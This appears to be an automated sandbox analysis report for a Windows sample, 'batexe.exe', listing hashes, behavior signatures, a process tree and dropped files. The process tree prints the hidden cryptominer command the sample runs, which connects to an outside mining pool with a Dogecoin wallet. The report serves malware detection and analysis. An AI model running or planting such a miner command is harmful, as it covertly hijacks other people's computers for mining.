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Analysis
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max time kernel
293s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20240221-ja -
resource tags
arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
24/02/2024, 04:58
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240221-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240221-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 3140 b2e.exe 3696 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3696 cpuminer-sse2.exe 3696 cpuminer-sse2.exe 3696 cpuminer-sse2.exe 3696 cpuminer-sse2.exe 3696 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/3060-6-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3060 wrote to memory of 3140 3060 batexe.exe 74 PID 3060 wrote to memory of 3140 3060 batexe.exe 74 PID 3060 wrote to memory of 3140 3060 batexe.exe 74 PID 3140 wrote to memory of 3760 3140 b2e.exe 75 PID 3140 wrote to memory of 3760 3140 b2e.exe 75 PID 3140 wrote to memory of 3760 3140 b2e.exe 75 PID 3760 wrote to memory of 3696 3760 cmd.exe 78 PID 3760 wrote to memory of 3696 3760 cmd.exe 78
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Users\Admin\AppData\Local\Temp\73E8.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\73E8.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\73E8.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3140 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\761A.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3696
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
4.4MB
MD5f49e7a36123b6b423f56cf48e34fe97b
SHA1e09ac0a0cd4dff8e18cb0cd9387c02a2706ea1e0
SHA2561333d894d5c73547649e050bddaeb2f6671d9298527d1f9ee0db3cdead1098af
SHA5129cb00fdcad3627524e4f43de6166edd995d335b21a32b3ed4079189c27b428881e21d5d8e5e889a3fbcb43c6a65181b264842fee93e47e243e4450abdfbb092d
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Filesize
4.7MB
MD539a1fc53fd8445b133e122e718a2ece2
SHA1d5d260255668ad2b37cbc498b7aa0f3b5257de0b
SHA256c8b6fdd3c4c29177b3a94d06afe687a72078feb96fa7c5d94d72dfffc66cf92f
SHA5127b2eb59a42c8cc21f11b4f1a2a4647ed219c626c5ebc18e8b94e0a26f204b3c7e43c351198c590d4223f97c9903123a7073cbf81e9974068fbe775a26e8d02b7
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
1.7MB
MD543f4fc0afddd28551167ec98142dd53e
SHA1b076b76ce1f9c1be8d6b523ba1a40f6dad8380eb
SHA256f23cce89905227e9f4cfad89dae261808dea4fc327a259c5ac7a22a030b9bc76
SHA5120e3fd1ea1321418bfda2236bff02da1dd8a661ea37c2051b50bb63813a7a95590c8e07cbecf8f50444cf51a3c0122e39516034a76f41945105f4fd64e239253f
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Filesize
1.4MB
MD52af1ce05b5a790b134eefd1efd88dab7
SHA1b078e6f3cf7ee356e0d9b671c6d33f3a6e777524
SHA256ce4cb4f4e60a89cbf413622a7f96f879ee15256d4ed5872ccbc3f2b366369fe3
SHA512bc08666b4c96fb98b1e1a9db0ec10c5bbcddb82efc4829d65057f765a37a24f6e28076300dcc3f07c0b547b563593232f90d959607ee6a5faca26b27364cf695
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
1.4MB
MD50944dcb182c16758aef117b9c3c41a0c
SHA196199eeaf1fefd52af477b8c3001b1b052980911
SHA256fa5c044e2135de125af0fb3b166be0370ade4e4a0c59bbbdf391d2958c2a6761
SHA5123cd3a5ebc7b70d41f9bca913920edd9a5e1c35a6a34f44fe569003b50841e639af378a3efff90d11e65839b47f1470984818b64fa7fabf3fb9a11abda61e74ec
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
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Filesize
1.7MB
MD515db89675cccf9bdd9e22d7157ec91d2
SHA1884b6a4b90956e47dc67458c73b5497ca993960f
SHA25650a3150ca5a0c336a1b2d139fade4b053e2dad303f824d6d7b7364e88a6c8c05
SHA51270a3bfe0719285906f2158db6580a23662bd8928338c7e6250aeb5ad5f4ac17aab8e68538df293f0092b673750ba6205432d901bbef52276bfa6124b487ddc4c
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Filesize
1.3MB
MD5170e7e011c57b7a1bbe9f8c9e1eefee5
SHA11d42d3457e2cf9f7e5d00efa62d4027d6c96be58
SHA25624eb06b95d8262649ddbafd061c6c0744260a64770dde95a550cafcdb1b92420
SHA512cc2b53d17a7ac2ca80b48ce9dcb6bf80bee307f0223e666c273204886869a3f88f558f8b0dca5fa6f673aa3157b52e6f8e4dccd2e125b6dad70f47e2f8806b63